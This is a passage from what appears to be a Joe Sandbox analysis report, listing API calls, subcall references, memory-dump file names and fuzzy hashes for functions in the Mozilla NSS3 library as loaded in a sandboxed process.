DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C4C1E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C4C1E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4C1E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C4C1E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C4C1EAD

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 8f279ffe776d3074d7e19020848efd4b50419cfc292022403ddaa591d7123d5d
Instruction ID: 0cfbea8f4d2169cd9c036734c2669db554b8f2350e7903bc7e2f8bbbe97b8993
Opcode Fuzzy Hash: 8f279ffe776d3074d7e19020848efd4b50419cfc292022403ddaa591d7123d5d
Instruction Fuzzy Hash: C921F176F04210ABDB00CEA9DC40F8B73A49B84329F544638ED5997BA0E730ED1886D3

Function 6C4CB910 Relevance: 7.6, APIs: 5, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C4CB91B

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C4CB92C

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C4CB95D
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4CB96B
PORT_ArenaAlloc_Util.NSS3(00000000,?), ref: 6C4CB98B

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ArenaUtil$Alloc_Arena_Value$AllocateCriticalEnterErrorFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 1641347807-0
Opcode ID: 3a0609fa05d2e5dfc6d2a09e25e3115ef6f8febd9162d2a038dec48d24ca9744
Instruction ID: 74f9e9b443425626f95fe33f440c95a15ba7950b3cbc43f3853cc2f83fa064b0
Opcode Fuzzy Hash: 3a0609fa05d2e5dfc6d2a09e25e3115ef6f8febd9162d2a038dec48d24ca9744
Instruction Fuzzy Hash: A0219079A006019EE320CE258C40F23B7E8EF86759F14C529DC59D7B61E731E846C7A2

Function 6C4D3920 Relevance: 7.6, APIs: 5, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C4D3939

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C4D394D

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

Part of subcall function 6C5024E0: TlsGetValue.KERNEL32 ref: 6C5024FF
Part of subcall function 6C5024E0: EnterCriticalSection.KERNEL32(?), ref: 6C50250F
Part of subcall function 6C5024E0: PR_Unlock.NSS3(?), ref: 6C50253C
Part of subcall function 6C5024E0: PR_SetError.NSS3(00000000,00000000), ref: 6C502554

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4D39A3
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4D39BE
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C4D39CB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ArenaErrorUtilValue$Arena_CriticalEnterSectionUnlock$Alloc_AllocateFreeInitLockPoolcalloc
String ID:
API String ID: 1657373565-0
Opcode ID: 3a037b4ec4f3de494f6e2813df8e008bc0e7ce8e7d569cce4998348afef98f2e
Instruction ID: a47cfb1bf616b3c5ad774644e6abb6bc4b3c7d8a1f725cd1800fe09136044a2b
Opcode Fuzzy Hash: 3a037b4ec4f3de494f6e2813df8e008bc0e7ce8e7d569cce4998348afef98f2e
Instruction Fuzzy Hash: 78217AB1A01201ABDB00DF69DC90F46BBF4AB54319F158266E818DBB42E730F854CBE1

Function 6C4E1850 Relevance: 7.6, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?,?,6C4E002B,?), ref: 6C4E1875

Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890AB
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890C9
Part of subcall function 6C589090: EnterCriticalSection.KERNEL32 ref: 6C5890E5
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C589116
Part of subcall function 6C589090: LeaveCriticalSection.KERNEL32 ref: 6C58913F

TlsGetValue.KERNEL32(?,?,6C4E002B,?), ref: 6C4E188E
EnterCriticalSection.KERNEL32(?,?,?,6C4E002B,?), ref: 6C4E18A7
PR_ExitMonitor.NSS3(?,?,?,?,6C4E002B,?), ref: 6C4E1905
PR_Unlock.NSS3(?,?,?,?,6C4E002B,?), ref: 6C4E1912

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 636c4c9fe3a23521a1c5d8027189f822888a4bf89dc498824ae82f24af4ee4dc
Instruction ID: 4b5925282c6fee4100969d0de2aef7d7d0dae8dbb4d7f0e4c7cfd69166d5ab52
Opcode Fuzzy Hash: 636c4c9fe3a23521a1c5d8027189f822888a4bf89dc498824ae82f24af4ee4dc
Instruction Fuzzy Hash: 5C212A74A44606DBDB00EF69C084E99B7B4FF0A35AF124A29D894C7B11E730E895CBD2

Function 6C5D1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C5D1E5C

Part of subcall function 6C589BF0: TlsGetValue.KERNEL32(?,?,?,6C5D0A75), ref: 6C589C07

PR_Lock.NSS3(00000000), ref: 6C5D1E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C5D1EAB
PR_GetCurrentThread.NSS3 ref: 6C5D1ED0
PR_Unlock.NSS3(?), ref: 6C5D1EE8

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 3b79316f1cca53b6144fadcf7d0dd57f5b48d67e2268fb8dd9b9487cf8097efe
Instruction ID: 06a81e6264777d5eab3bdc70827507bd93e6496ad5f91efce8929b6c1bfa16fc
Opcode Fuzzy Hash: 3b79316f1cca53b6144fadcf7d0dd57f5b48d67e2268fb8dd9b9487cf8097efe
Instruction Fuzzy Hash: C7218974A09622ABD710CF1DDD40A07BBB1FF84728B268229D8158BB51D730FC10CBD9

Function 6C51BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C4CE708,00000000,00000000,00000004,00000000), ref: 6C51BE6A

Part of subcall function 6C520840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5208B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C4D04DC,?), ref: 6C51BE7E

Part of subcall function 6C51FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C518D2D,?,00000000,?), ref: 6C51FB85
Part of subcall function 6C51FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C51FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C51BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C4D04DC,?,?), ref: 6C51BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C51BEEB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 194ad0463802ede9f2b91a908b4a9b46fa23df1375b824ead39d282120157021
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: B11104F660C255A7F700A965AD88F5B736E9B80758F144225FE0486F52F731DC0887E1

Function 6C4CAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C4C3FFF,00000000,?,?,?,?,?,6C4C1A1C,00000000,00000000), ref: 6C4CADA7

Part of subcall function 6C5214C0: TlsGetValue.KERNEL32 ref: 6C5214E0
Part of subcall function 6C5214C0: EnterCriticalSection.KERNEL32 ref: 6C5214F5
Part of subcall function 6C5214C0: PR_Unlock.NSS3 ref: 6C52150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C4C3FFF,00000000,?,?,?,?,?,6C4C1A1C,00000000,00000000), ref: 6C4CADB4

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C4C3FFF,?,?,?,?,6C4C3FFF,00000000,?,?,?,?,?,6C4C1A1C,00000000), ref: 6C4CADD5

Part of subcall function 6C51FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C518D2D,?,00000000,?), ref: 6C51FB85
Part of subcall function 6C51FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C51FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C5E94B0,?,?,?,?,?,?,?,?,6C4C3FFF,00000000,?), ref: 6C4CADEC

Part of subcall function 6C51B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5F18D0,?), ref: 6C51B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4C3FFF), ref: 6C4CAE3C

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 3665d595f0540c88f0a15a02a8d9ca94a4062dc6d253cfce83f2d31a16dd8092
Instruction ID: de92c1ebb2f5d6c16f20733d935f5729692c7589fca5fe3e7b76a45a91a10c23
Opcode Fuzzy Hash: 3665d595f0540c88f0a15a02a8d9ca94a4062dc6d253cfce83f2d31a16dd8092
Instruction Fuzzy Hash: 26113376F002049BE710DA659C44FBF73E89F9524EF004228EC1996B41FB21ED5882E3

Function 6C518800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518821
TlsGetValue.KERNEL32(?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C51883D
EnterCriticalSection.KERNEL32(?,?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C518887
PR_Unlock.NSS3(?,?,?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518899

Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07AD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07CD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07D6
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C44204A), ref: 6C4B07E4
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,6C44204A), ref: 6C4B0864
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C4B0880
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C44204A), ref: 6C4B08CB
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08D7
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08FB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 96327aefb0778034e10b5e97de5f905c41fbcb4828d97e57fc28170c84cab6b7
Instruction ID: fdd1b2feaaa8f0864e5d4df2f37a08cb569e2251356f6231bf4c0f9c84dfe032
Opcode Fuzzy Hash: 96327aefb0778034e10b5e97de5f905c41fbcb4828d97e57fc28170c84cab6b7
Instruction Fuzzy Hash: 5A2171B4908605DFEB10EF79C98856ABBB4FF05309F114A6ADC9496B01E730D895CB92

Function 6C4E28A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C4D80DD), ref: 6C4E28BA
EnterCriticalSection.KERNEL32(?,?,?,?,6C4D80DD), ref: 6C4E28D3
PR_Unlock.NSS3(?,?,?,?,?,6C4D80DD), ref: 6C4E28E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C4D80DD), ref: 6C4E290E
free.MOZGLUE(?,?,?,?,?,?,6C4D80DD), ref: 6C4E291A

Part of subcall function 6C4D9270: DeleteCriticalSection.KERNEL32(?,?,6C4E5089,?,6C4E3B70,?,?,?,?,?,6C4E5089,6C4DF39B,00000000), ref: 6C4D927F
Part of subcall function 6C4D9270: free.MOZGLUE(?,?,6C4E3B70,?,?,?,?,?,6C4E5089,6C4DF39B,00000000), ref: 6C4D9286
Part of subcall function 6C4D9270: PL_HashTableDestroy.NSS3(?,6C4E3B70,?,?,?,?,?,6C4E5089,6C4DF39B,00000000), ref: 6C4D9292

Part of subcall function 6C4D8B50: TlsGetValue.KERNEL32(00000000,?,6C4E0948,00000000), ref: 6C4D8B6B
Part of subcall function 6C4D8B50: EnterCriticalSection.KERNEL32(?,?,?,6C4E0948,00000000), ref: 6C4D8B80
Part of subcall function 6C4D8B50: PL_FinishArenaPool.NSS3(?,?,?,?,6C4E0948,00000000), ref: 6C4D8B8F
Part of subcall function 6C4D8B50: PR_Unlock.NSS3(?,?,?,?,6C4E0948,00000000), ref: 6C4D8BA1
Part of subcall function 6C4D8B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6C4E0948,00000000), ref: 6C4D8BAC
Part of subcall function 6C4D8B50: free.MOZGLUE(?,?,?,?,?,6C4E0948,00000000), ref: 6C4D8BB8

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 375747948d94410ba5571e85c4d02992122e1171cd34c8b0ae00bf72d1c7354c
Instruction ID: 44b0015340a7fc7c45d0ebc541cfb42726bf991640ace0e3e2946f9dc66c6d5c
Opcode Fuzzy Hash: 375747948d94410ba5571e85c4d02992122e1171cd34c8b0ae00bf72d1c7354c
Instruction Fuzzy Hash: 802119B5A04A069BCB00BF79C089C69BBF0BF09355F024969D89597B00EB34E895CBD2

Function 6C51F860 Relevance: 7.6, APIs: 5, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C51F893

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

SECITEM_CopyItem_Util.NSS3(00000000,?,6C4D66A0), ref: 6C51F8AA

Part of subcall function 6C51FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C518D2D,?,00000000,?), ref: 6C51FB85
Part of subcall function 6C51FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C51FBB1

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C51F8B9

Part of subcall function 6C521200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C4C88A4,00000000,00000000), ref: 6C521228
Part of subcall function 6C521200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C521238
Part of subcall function 6C521200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C4C88A4,00000000,00000000), ref: 6C52124B
Part of subcall function 6C521200: PR_CallOnce.NSS3(6C622AA4,6C5212D0,00000000,00000000,00000000,?,6C4C88A4,00000000,00000000), ref: 6C52125D
Part of subcall function 6C521200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C52126F
Part of subcall function 6C521200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C521280
Part of subcall function 6C521200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C52128E
Part of subcall function 6C521200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C52129A
Part of subcall function 6C521200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C5212A1

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C51F8D9
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C5F18E0), ref: 6C51F905

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena$Pool$Alloc_Arena_CriticalFreeItem_Sectionfree$CallClearCopyDecodeDeleteEnterInitLockOnceQuickUnlockValuecallocmemcpy
String ID:
API String ID: 3757084236-0
Opcode ID: 9ba56d44bf24b623b59d58329f6fc79b848d239ed1fd7bc9f42e6eb1c9125d8d
Instruction ID: aeddb4b935cd10532547d5d6d1eaca895d7c4bb07651b270d8f64c40315b7a00
Opcode Fuzzy Hash: 9ba56d44bf24b623b59d58329f6fc79b848d239ed1fd7bc9f42e6eb1c9125d8d
Instruction Fuzzy Hash: AA113AB2E04304ABF3009B259D45BAB7BE89FD568CF014629FC1487B81FB31D90883E2

Function 6C4B09E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6C4B06A2,00000000,?), ref: 6C4B09F8
malloc.MOZGLUE(0000001F), ref: 6C4B0A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C4B0A33

